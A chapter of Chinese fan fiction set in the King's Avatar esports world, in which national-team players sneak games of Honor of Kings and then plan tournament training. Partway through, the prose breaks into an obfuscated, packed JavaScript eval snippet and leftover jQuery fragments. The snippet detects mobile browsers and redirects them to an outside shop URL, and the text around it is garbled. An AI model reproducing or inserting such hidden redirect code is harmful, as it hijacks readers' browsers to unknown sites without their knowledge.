在百无聊赖、无所事事之际,谁不想急头白脸地来一局5V5公平竞技游戏,六分钟可投,不看信誉、不保护爹妈随时可退。没有荣耀,那王者荣耀也不是不行。
“KPL挖人挖到我们这了?”嘴上损着,却毫不犹豫地打开亚瑟图标。新赛季我都没登录过,之前还是刘小别带我玩了几局排位,现在定段掉到了钻石。孙翔也是,可见我们钟爱的只有荣耀女神,这个王者云云不过是糟糠之妾,而非正宫。
他手速很快,见我进房就秒开对局。正逢高考季结束,大批高考生涌入其中,也可能是他预选打野、我是补位,不用计时排队直接进入。
孙翔恬不知耻地接话说:“对,他们让我去当梦泪。”
“怎么在每个地方你都是嫡长子继承制?”我嘀嘀咕咕,把百里守约送上牢房。这英雄的压迫力不亚于一枪穿云的巴/雷/特红点正中脑门上,一枪半管血谁受得了,还好他只有一狙,不是荒火碎霜双枪给出答案。
“你们俩打王者不喊我!”方锐嚷嚷道。孙翔明目张胆地摆在桌子上玩,没想避着人,都被瞧了去。
方锐洋洋得意地说,他以前可是市标香香。
旁边这个真人版翔翔不以为然,反手选了个韩信,抖着腿哼哼唧唧:“哪个地方的市标啊?别是西藏青海那嘎的。”
“当然是广州的啊。”
好高的含金量!
“那你等下一把。”
对面全是三体人、我们是个位数赛季的山顶洞人,还有个狂吃三路线、啥事也不干的韩跳跳,我说你个二货、拿钱办点事好不好?都贪了我多少兵线了,我比对面蚩奼低了快五百块钱。孙翔叨叨,等后期别急,看我一挑五。吕布跳大震了四个,我问孙翔你人呢!在刷钱、在敌方野区刷微信步数。
没等来后期,等到的是水晶爆炸和defeat。看着经济第一、评分倒数第二,我和孙翔面面相觑。
是我单方面向他要个交代。
胶带?没有。要命一条。
那能不能掐死他?不行啊他要上亚运。是时候开始禅让制了,传贤不传子,我来继承一叶之秋,让那个三旬老头上个人赛。
赶快来个人速降我飙升的血压。
方锐如天降救星般进入房间,并没有立刻准备,问左边的李轩和唐昊打不打,正好组个五排。
李轩答应的很爽快,后者却磨磨蹭蹭,但仅犹豫了五秒钟就加入了队伍。
“缺个奶妈吧?”一楼孙翔帮抢了孙尚香,方锐看剩下四个人其中三个都想当c,着急忙慌地说道,“奶妈呢奶妈呢?”
这一喊倒是把真奶妈喊过来了。
张新杰不明所以地回头,但他是从右侧看来的,视线所及只有我能回应他。彼时我正在思考玩什么,猝不及防地与他对上,连忙把手机亮给他看,在打王者呢、不是要石不转那个奶妈。
他眼眸暗了一瞬,又很快恢复正常:“冯主席快到了,注意点。”
我茫然地点点头,谨记教训,旁边人还在吵个不停。
孙翔:“你以为你玩荣耀呢,还奶妈,奶牛你要不要?”
方锐:“没奶妈我下路没安全感。”
“行行行,我保你好吧。”我看不下去了,预选了手蔡文姬。
方锐如获至宝:“妹妹真好!”
在我据理力争后,孙翔也没再霍霍打野这个位置,而是让给了唐昊。其实他们半斤八两,谁也别嘲笑谁,但凭我对队长半年的认识、目睹他成长改变,唐昊应该不会腆着脸吃三路兵线。
应该吧……
在我和李轩的保驾护航下,方锐的孙尚香被养的膘肥体壮,这也得益于他一次没死,和狂吃中路甄姬的兵线。
到中后期小团战结束、推完二塔在敌方野区休养生息,唐昊在搜刮剩余资源,我晃着摇摇椅从蓝buff旁边路过,他正好打了一半,但我出了圣杯压根不需要。
澜发了个请求集合的信号。
我以为是喊甄姬过去的,也就没停下,最后看到蓝buff还在澜的脚下,他铁面无私地擦过我扎进龙坑里,仿佛什么事都没有发生。
不知道是谁喊了句:“冯宪君来了。”
最后一排像是提前训练好的,动作格外统一,齐刷刷地把手藏到了桌子底下,被方锐传染了贼眉鼠眼,边注意战况,边偷瞄着冯宪君走向讲台、开始目中无人口若悬河。
有点心疼第一排的四个人,向他们兜售雨伞一定畅销。
为什么只有四个?领头的那个旷课了。
冯宪君讲冯宪君的,我们玩我们的。前头张新杰坐的特别笔直,我缩在他后面,被严丝合缝地挡住了。
大概上了三四颗星,终于听到——
“最后的最后,预祝你们在亚运会取得好成绩!”
台下掌声雷动,我耳尖地寻到声音中混杂着几句“好饿”“终于结束了”“食堂今天有没有肠粉”。
全都心不在焉,没几个认真听讲的。心里的罪恶感消失了大半。
冯宪君离开后,几乎是一哄而散,完全把喻文州的“吃完饭会议室集合”抛之脑后,他们看我还愣在原座,有几个停下脚步,冲我招招手,走啊妹妹、去吃早饭。
轻飘飘的一句招呼丰盈了我的胸腔,明明已经亘古不化、钢精铁打的心脏却涌溢出潮水的感情。我觉得自己很多愁善感。
听到张新杰淡定地说:“她吃过了。”
全场转眼间就剩下我和他两个人。
“走吧,去会议室,不用回去的,他们吃饭很快。”张新杰把桌上的资料整理好,领着我走。
我像极了幼儿园放学、家长迟迟不来接小伙伴们全都走空、迫于无奈之下只能跟着幼教老师过活,张新杰的气质和我未出国前在南京学校的班主任如出一撤。我跟在后面大气不敢喘一下,可是他却跟我说,以后有其他不明白的事情都可以问他。
班主任形象顷刻间烟消云散,神佑之光似乎安放在他的脚下,吟唱着身形变的高大伟岸。
我说过这个国家队不一样。以前没人会提点我有什么规则、什么事情不能干,所有的一切全靠自己在黑暗中摸索出来,被孤立被嘲讽,甚至被霸凌,这都是常态。所以刚刚会自嘲那控制不住的感情,那是我不曾拥有的。
忽然有一群人坦然接受了你的加入,成为了这个群体的一部分。包容是他们最微不足道的优点,这里的每个人形色各异、长短不一,却能组成一个完美的团体。我清楚地知道了,这叫归属感。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618488|205136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>张新杰说的对,凳子还没捂热,其他人陆陆续续地就到了,全都一改往常的吊儿郎当,正儿八经地听起喻文州的安排。
上午基础训练加四人战术布局,以及每个人对不同国家自己相对应职业的战斗风格分析,下午是6V6团体作战训练,晚训就是查漏补缺。
其他人神色较为轻松,因为这跟去年的大同小异,他们都经历过一遍,知道该怎么做。
交代完他们,喻文州开始着重提点我:“个人赛赛制已经出来了,你看过了吗?”
我点点头,说看过了。
从预选开始到决赛结束,都是bo9的规则,三局自选图三局对方选图,剩下三局是随机图。掷硬币谁先拥有选图权,下一局就是对方选,第三局随机图,如此交替进行。每局限时十五分钟内结束,时间到评判双方血量决定输赢,避免了猥琐流的拖延局势。
最为关键的是,团体赛比完了才到个人赛,相当于其他人都考完放假了,你却还要坐怀不乱地复习备考。这对运动员的心理素质是一项巨大的考验。
也正应了叶修的话,没有经验的人上不了场。全国除了这十三个人,也只有我有国际赛场经验了。
喻文州说:“嗯。所以之后的单挑都按照赛制来,其他国家的个人赛参赛选手也都上报了,职业队里全部囊括。每天三场,叶修的意思是,输一局晚上加训一个小时。其他人谁放水谁跟着一起加训。”
荣耀从来不是一个人的游戏,虽然我上的是个人赛,但背后的心血是整个团队凝聚起来的。他们会陪我训练、战斗到最后。
不过话说早了,听到后面几个人通通在附议:谁要加训、狗才不要、肯定会让妹妹加训的包在他们身上!
归属感瞬间被不在场的老狐狸打的支离破碎。
后槽牙好痛。我忍。
最后语重心长地来一句:“你可是第一个吃螃蟹的人啊。”
说完见我好长时间没反应,离得最近的方锐伸手在我眼前晃悠了两下,把我神游天外的思绪拉了回来,问妹在想啥?
我说:“十月份回来正好能去兴化吃螃蟹,母蟹可肥美了。”
黄少天隔着老远问:“兴化是哪里?江苏不是去阳澄湖吃螃蟹吗?”楚云秀站出来说,阳澄湖就是骗骗你们这群外地佬的,那湖的养殖区就那么大,哪能每张嘴都吃到正宗的阳澄湖大闸蟹?很多都是长荡湖、兴化那边披个阳澄湖的名字买个高价。肖时钦说哦,然后卖给沪爷和京爷吗?
周泽楷和王杰希的嘴角微不可察地抽搐了两下,莫名被中伤。
苏沐橙笑笑说:“赢了回来吃正宗阳澄湖大闸蟹。云秀请客。”楚云秀捶了她小下,尽坑闺蜜来了。
然后又提到各个国家的出战名单,说及韩国队时全都看向我,我立马表忠心说:“我肯定会力所能及地出卖,向组织知无不言言无不尽!”
“这怎么能叫出卖呢。”
“妹妹不过是潜伏在外面收集好情报荣誉归国。”
我又问了句:“韩国那边个人赛派谁上场啊?”名单我还真没怎么看,因为哪个单拎出来都不是我的对手,所以压根没放在心上。但提都提到了,顺带问一嘴。
喻文州皮笑肉不笑地说:“你的前夫哥。”